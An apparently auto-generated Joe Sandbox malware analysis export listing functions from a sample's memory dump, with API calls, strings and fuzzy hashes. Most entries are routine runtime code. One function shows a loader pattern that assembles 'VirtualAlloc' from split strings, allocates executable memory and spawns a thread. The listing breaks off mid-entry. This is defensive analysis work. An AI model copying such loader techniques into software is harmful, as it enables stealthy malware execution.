Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID: Kxg
API String ID: 2417226690-3082730550
Opcode ID: 77feec13abaac8ad3b84e537917a91a70beb867ade4f4c28da76e8ab7e9f301a
Instruction ID: d9e8bd1d4d7a60f97d4aa6edd75db22dd418e82e3d7ecf967de430cf8c2b0318
Opcode Fuzzy Hash: 77feec13abaac8ad3b84e537917a91a70beb867ade4f4c28da76e8ab7e9f301a
Instruction Fuzzy Hash: 0311E9372047055FDB18AF39C8A15BABBA2FF84358B59C82DE54B87B40E371A943C740

Function 0067746D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006774C1

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ea7c2d856e7bfa68769527d2d41015a5195cbe1c55f73a40ddb65ae3fb40129e
Instruction ID: dbd62970316d6eae373aa6969f62068615688bdb60865d293f6671e3c20db8de
Opcode Fuzzy Hash: ea7c2d856e7bfa68769527d2d41015a5195cbe1c55f73a40ddb65ae3fb40129e
Instruction Fuzzy Hash: 1C21A772618216ABEB28DF24DC51ABA77AAEF04315F10947EF90AD6241EB34DD40CB54

Function 0067769C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00677436,00000000,00000000,?), ref: 006776C8

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 3b6531c3f0908edd1bf715d91ffaaee0905388235a0f821499c13cd52957aa50
Instruction ID: 2b74513cb41461140ce3d2e682384d570f3dd423427fc3fbcc05a5f8248527e5
Opcode Fuzzy Hash: 3b6531c3f0908edd1bf715d91ffaaee0905388235a0f821499c13cd52957aa50
Instruction Fuzzy Hash: 45F02832614115BBDB285B28CC0ABFB776AEF40754F148468EC0EA3280EA71FE41CA90

Function 0067718F Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

EnumSystemLocalesW.KERNEL32(0067746D,00000001,00000000,?,-00000050,?,0067780F,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 006771D9

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 031959c66f5d8c7009c0e05f04152aa7efbc08f22b8a427ef11b0c0638fa6d34
Instruction ID: 5d63af77a87f1de230d232adab93d0a0b0dcb9eabade9862ee490d7678c99450
Opcode Fuzzy Hash: 031959c66f5d8c7009c0e05f04152aa7efbc08f22b8a427ef11b0c0638fa6d34
Instruction Fuzzy Hash: 72F0F6362043045FDB145F75DC81ABA7B96FF80768F59C42DF90A8B680D6B19D42C750

Function 0066EDDF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0066A676: EnterCriticalSection.KERNEL32(?,?,0066E728,?,006856A8,00000008,0066E8EC,?,?,?), ref: 0066A685

EnumSystemLocalesW.KERNEL32(0066EDD2,00000001,00685728,0000000C,0066F201,00000000), ref: 0066EE17

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 64be275542a429397defeb127de5e89fa87749d6cf2a4f29e7187d76c46867d3
Instruction ID: 34574bc317aa633ea179f2b5426e177245045d81da0ddddffb9ca611baf75b42
Opcode Fuzzy Hash: 64be275542a429397defeb127de5e89fa87749d6cf2a4f29e7187d76c46867d3
Instruction Fuzzy Hash: 13F03C76A00300DFD700EF98E842B5877B2FB48721F10912AE401DB2A0D7B69940CF55

Function 006770A9 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0066EA50: GetLastError.KERNEL32(?,00000008,00672F56,00000000,00668E50), ref: 0066EA54
Part of subcall function 0066EA50: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 0066EAF6

EnumSystemLocalesW.KERNEL32(00677002,00000001,00000000,?,?,0067786D,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 006770E0

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0abe8727601dd16e6e1ebe18c5808b8f8e2dffbbefff4b99ab50f0d9a39b0459
Instruction ID: 4fb5964786fc1144c7b74bd8f32514117171d2acb2529a1af56de52340ed5b72
Opcode Fuzzy Hash: 0abe8727601dd16e6e1ebe18c5808b8f8e2dffbbefff4b99ab50f0d9a39b0459
Instruction Fuzzy Hash: ACF0E57A30420597CB04AF39D8557AA7F96FFC1764B068059EA0E8B251C672A942C790

Function 0066F305 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0066D5C2,?,20001004,00000000,00000002,?,?,0066CBC4), ref: 0066F339

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b72ff3ce3a9792eb5cb2e8a3ee1364210de578b73b48df205f5158d29761df02
Instruction ID: 0c4061bb99560ced91a299456975ceef4e5d5bf692f3d163079be180d1e323fa
Opcode Fuzzy Hash: b72ff3ce3a9792eb5cb2e8a3ee1364210de578b73b48df205f5158d29761df02
Instruction Fuzzy Hash: 33E04F36500228BBCF162F61EC05AAE3F27EF44760F408425FD0966221CB728D61AAD4

Function 00664EC2 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00004ECE,0066453C), ref: 00664EC7

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: befab3b38690cbf52dfcfa9833bff8c29bcfb13d0920f9baee0585758c7cd076
Instruction ID: 3d7de56ee443be794bdfbc93f7a95efa232e1f8f26f18b27c7703b707d618c7d
Opcode Fuzzy Hash: befab3b38690cbf52dfcfa9833bff8c29bcfb13d0920f9baee0585758c7cd076
Instruction Fuzzy Hash:

Function 006779CD Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 006779CD

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 5cf7fdb525931785b51cdf2712a3900bab3cd91e023493ffa399ee472f2982bf
Instruction ID: fe95f2cdd2900af863dc8117e5b852251c62de26945300419e6f34611213d0ad
Opcode Fuzzy Hash: 5cf7fdb525931785b51cdf2712a3900bab3cd91e023493ffa399ee472f2982bf
Instruction Fuzzy Hash: E0A001B06122019B97548F39AB592093BEAAA45691B45B569A409E6160EB6484909A01

Function 0067C25D Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 006610D0: __EH_prolog3_catch.LIBCMT ref: 006610D7
Part of subcall function 006610D0: _strlen.LIBCMT ref: 006610E9

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0067C285

Part of subcall function 0066163E: _strlen.LIBCMT ref: 00661656

_strlen.LIBCMT ref: 0067C2A0
_strlen.LIBCMT ref: 0067C2B6
GetProcAddress.KERNEL32(00000000,?), ref: 0067C2D3

Part of subcall function 0067C1F7: VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,ole,00000000,?,?,0067C2E6), ref: 0067C20B
Part of subcall function 0067C1F7: CreateThread.KERNELBASE(00000000,00000000,00000188,00687028,00000000,00000000), ref: 0067C23F
Part of subcall function 0067C1F7: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,0067C2E6), ref: 0067C24B
Part of subcall function 0067C1F7: FindCloseChangeNotification.KERNELBASE(00000000,?,?,0067C2E6), ref: 0067C252

Part of subcall function 00661BEA: _Deallocate.LIBCONCRT ref: 00661BF9

Strings

ole, xrefs: 0067C2B0, 0067C2B5, 0067C2BD
Cons, xrefs: 0067C29A, 0067C29F, 0067C2A7
Madino Mino, xrefs: 0067C26F
Free, xrefs: 0067C28B
kernel32.dll, xrefs: 0067C280

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: _strlen$AddressAllocChangeCloseCreateDeallocateFindH_prolog3_catchHandleModuleNotificationObjectProcSingleThreadVirtualWait
String ID: Cons$Free$Madino Mino$kernel32.dll$ole
API String ID: 476969254-2348686229
Opcode ID: c191ebdb419892338d573a00fb60d9d1ddd1cdf5f1774b4bc4d03bbb0f2bf780
Instruction ID: a0be090b3a2eeb1de7241a7bc63cb519e89fcc43984b75c39c7a959e18b26ffd
Opcode Fuzzy Hash: c191ebdb419892338d573a00fb60d9d1ddd1cdf5f1774b4bc4d03bbb0f2bf780
Instruction Fuzzy Hash: 2F01C471D00204AF8B14EBB4DC568FE77BAEE46710710441DF405EB181EE746D02C66A

Function 00667BE8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00667D07
___TypeMatch.LIBVCRUNTIME ref: 00667E15
_UnwindNestedFrames.LIBCMT ref: 00667F67
CallUnexpected.LIBVCRUNTIME ref: 00667F82

Strings

csm, xrefs: 00667C25
csm, xrefs: 00667C92
csm, xrefs: 00667D3E

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 3e9447bcf56656f959ad7a86932ae1b48398151844c3393c0b54e62f040ceff7
Instruction ID: e76f92acd8be69a313412f3527ba4950be0544aa361f79bcdb5002d144259037
Opcode Fuzzy Hash: 3e9447bcf56656f959ad7a86932ae1b48398151844c3393c0b54e62f040ceff7
Instruction Fuzzy Hash: 6CB14871808209EFCF25DFA5C8819AEBBB6BF14318F14459AE8116B312D731EE51CBA5

Function 0067163C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 006718B5

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: e09a031b6ada254bcafc3b0584f643d58f91be064702e77cc4c812dd1bbde742
Instruction ID: cc0b22e9913645a2daa8199420dc7cddd49787040b262f0d12153f68c91ad90b
Opcode Fuzzy Hash: e09a031b6ada254bcafc3b0584f643d58f91be064702e77cc4c812dd1bbde742
Instruction Fuzzy Hash: ABB1F574A00249AFDB15DF9CC890BBDBBB3AF46300F14815AE558AF392C7719D82CB61

Function 006798B9 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00DE05D8,00DE05D8,?,7FFFFFFF,?,00679B89,00DE05D8,00DE05D8,?,00DE05D8,?,?,?,?,00DE05D8,?), ref: 0067995F
__alloca_probe_16.LIBCMT ref: 00679A1A
__alloca_probe_16.LIBCMT ref: 00679AA9
__freea.LIBCMT ref: 00679AF4
__freea.LIBCMT ref: 00679AFA
__freea.LIBCMT ref: 00679B30
__freea.LIBCMT ref: 00679B36
__freea.LIBCMT ref: 00679B46

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: edd681729d09036a9e917cbbb03d4b77d82f86d64092bbe595586c16ab2344c6
Instruction ID: efe23cac6eead1b141e02b6ad08f29a3c9d83fcea86d0f71cfbcc2f7d6bd944d
Opcode Fuzzy Hash: edd681729d09036a9e917cbbb03d4b77d82f86d64092bbe595586c16ab2344c6
Instruction Fuzzy Hash: C8719272900205ABEF219E649C82BEFB7EBDF85710F28805DE90CA7351EA359D41C774

Function 0066429A Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 006642E3
__alloca_probe_16.LIBCMT ref: 0066430F
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0066434E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0066436B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 006643AA
__alloca_probe_16.LIBCMT ref: 006643C7
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00664409
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0066442C

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: e8059e4def52c78d5b96faf89ede6f0e6a25190c41aadabb01beed205ed2b825
Instruction ID: 2014fe05f7f53acf7baaa683454c2ad99c837227c83fc983ddd561607c24ea98
Opcode Fuzzy Hash: e8059e4def52c78d5b96faf89ede6f0e6a25190c41aadabb01beed205ed2b825
Instruction Fuzzy Hash: 69519C7250020AABEB219FA5CC46FEF7BBAEF44790F154528F905E6290DF309D518BA0

Function 00667680 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 006676B7
___except_validate_context_record.LIBVCRUNTIME ref: 006676BF
_ValidateLocalCookies.LIBCMT ref: 00667748
__IsNonwritableInCurrentImage.LIBCMT ref: 00667773
_ValidateLocalCookies.LIBCMT ref: 006677C8

Strings

csm, xrefs: 0066775D

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9a89d1aaac32e98824e62b0342da2160357888f16402e243e69bcd13eaeea16b
Instruction ID: 821f73667cccc8153473e46eedd8d7bcee1078c166a29b8aeb1e31d5a55aaf31
Opcode Fuzzy Hash: 9a89d1aaac32e98824e62b0342da2160357888f16402e243e69bcd13eaeea16b
Instruction Fuzzy Hash: 7841A434A042189FCF10DF68C895ADEBFB7AF45318F148199E8189B392D7319E45CB94

Function 006620F3 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006620FA
std::_Lockit::_Lockit.LIBCPMT ref: 00662104
int.LIBCPMT ref: 0066211B

Part of subcall function 00662653: std::_Lockit::_Lockit.LIBCPMT ref: 00662664
Part of subcall function 00662653: std::_Lockit::~_Lockit.LIBCPMT ref: 0066267E

codecvt.LIBCPMT ref: 0066213E
std::_Facet_Register.LIBCPMT ref: 00662155
std::_Lockit::~_Lockit.LIBCPMT ref: 00662175
Concurrency::cancel_current_task.LIBCPMT ref: 00662182

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: ff0bc7dd5f9bde8ca3768d257eacc540107cbd7ceaf0ea21379170b11fe45acf
Instruction ID: 5cc2380e6df5483529d9db123139cb1820c02b2c8490c3ebb33c2017351e7439
Opcode Fuzzy Hash: ff0bc7dd5f9bde8ca3768d257eacc540107cbd7ceaf0ea21379170b11fe45acf
Instruction Fuzzy Hash: F301D2759005269BCB05EFA4C8296BEBBB3BF90314F24050CE510AB392CFB49E02CB85

Function 00662188 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066218F
std::_Lockit::_Lockit.LIBCPMT ref: 00662199
int.LIBCPMT ref: 006621B0

Part of subcall function 00662653: std::_Lockit::_Lockit.LIBCPMT ref: 00662664
Part of subcall function 00662653: std::_Lockit::~_Lockit.LIBCPMT ref: 0066267E

ctype.LIBCPMT ref: 006621D3
std::_Facet_Register.LIBCPMT ref: 006621EA
std::_Lockit::~_Lockit.LIBCPMT ref: 0066220A
Concurrency::cancel_current_task.LIBCPMT ref: 00662217

Memory Dump Source

Source File: 00000006.00000002.1892538335.0000000000661000.00000020.00000001.01000000.00000007.sdmp, Offset: 00660000, based on PE: true

Associated: 00000006.00000002.1892461855.0000000000660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892594862.000000000067D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892628949.00000000006B9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.1892701550.00000000006BC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_660000_HXqqC3YwnKDsi7zeJNheTOoZ.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registerctype
String ID:
